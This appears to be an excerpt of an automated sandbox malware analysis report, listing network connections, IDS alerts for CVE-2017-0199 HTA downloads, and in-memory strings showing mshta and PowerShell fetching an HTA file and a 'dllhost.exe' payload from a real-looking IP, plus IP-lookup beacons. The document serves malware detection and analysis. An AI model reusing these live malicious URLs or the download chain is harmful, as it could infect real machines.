Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.78.54:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 188.114.96.3:443

Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49166 -> 172.245.123.6:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 172.245.123.6:80
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 172.245.123.6:80 -> 192.168.2.22:49166
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 172.245.123.6:80 -> 192.168.2.22:49164
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49172 -> 172.245.123.6:80

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49176 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49178 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49187 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49191 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49173 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49179 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49175 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49200 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49190 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49188 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49196 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /cIP5a8 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cIP5a8 HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cIP5a8 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cIP5a8 HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/crio/IEnetbokkworkingforupdate.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.123.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/crio/IEnetbokkworkingforupdate.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 172.245.123.6If-Range: "1ceb0-6234c398c9718"
Source: global traffic	HTTP traffic detected: GET /770/dllhost.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.123.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/crio/IEnetbokkworkingforupdate.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Mon, 30 Sep 2024 01:35:50 GMTConnection: Keep-AliveHost: 172.245.123.6If-None-Match: "1ceb0-6234c398c9718"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: mshta.exe, 0000000C.00000003.470945172.0000000003804000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.0000000003804000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.0000000003804000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.0000000003804000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/
Source: powershell.exe, 00000007.00000002.441192247.00000000028AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.478774316.0000000002839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/770/dllhost
Source: powershell.exe, 00000011.00000002.478774316.0000000002839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/770/dllhost.exe
Source: powershell.exe, 00000007.00000002.441192247.00000000028AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.478774316.0000000002839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/770/dllhost.exep
Source: powershell.exe, 00000007.00000002.450490527.000000001C23C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.482999826.000000001C264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/770/dllhost.exes
Source: powershell.exe, 00000011.00000002.482999826.000000001C264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/770/dllhost.exes?e
Source: mshta.exe, 00000004.00000003.417457596.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.420401597.0000000003091000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/C
Source: mshta.exe, 00000004.00000003.417457596.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.0000000003091000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.420401597.0000000003091000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/O
Source: mshta.exe, 0000000C.00000002.472075496.00000000000FA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472468543.000000000374A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471050000.000000000374A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta
Source: mshta.exe, 0000000C.00000003.467118716.0000000000142000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472118068.0000000000131000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta...
Source: mshta.exe, 00000004.00000003.420063943.000000000305C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.420394140.000000000305C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta...EEBDD-A8
Source: mshta.exe, 0000000C.00000003.468426129.000000000375C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.000000000375C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.000000000375C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.000000000375C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta0
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta4
Source: mshta.exe, 00000004.00000002.420401597.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.417457596.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416448809.0000000003072000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415947263.000000000306D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415965686.0000000003071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta7
Source: mshta.exe, 0000000C.00000003.471498465.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.468426129.00000000037CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.hta8A
Source: mshta.exe, 00000004.00000002.420227515.000000000022A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.htaA
Source: mshta.exe, 00000004.00000002.420227515.000000000022A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472075496.00000000000FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.htaC:
Source: mshta.exe, 00000004.00000002.420227515.000000000022A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.htaW
Source: mshta.exe, 0000000C.00000003.468426129.000000000375C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.471498465.000000000375C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472492057.000000000375C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470945172.000000000375C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.htaet
Source: mshta.exe, 00000004.00000003.417386530.00000000027A5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.467894962.0000000002B45000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.470616202.0000000002B45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.htahttp://172.245.123.6/xampp/crio/IEnetbo
Source: mshta.exe, 00000004.00000002.420227515.000000000022A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.472075496.00000000000FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.245.123.6/xampp/crio/IEnetbokkworkingforupdate.htas
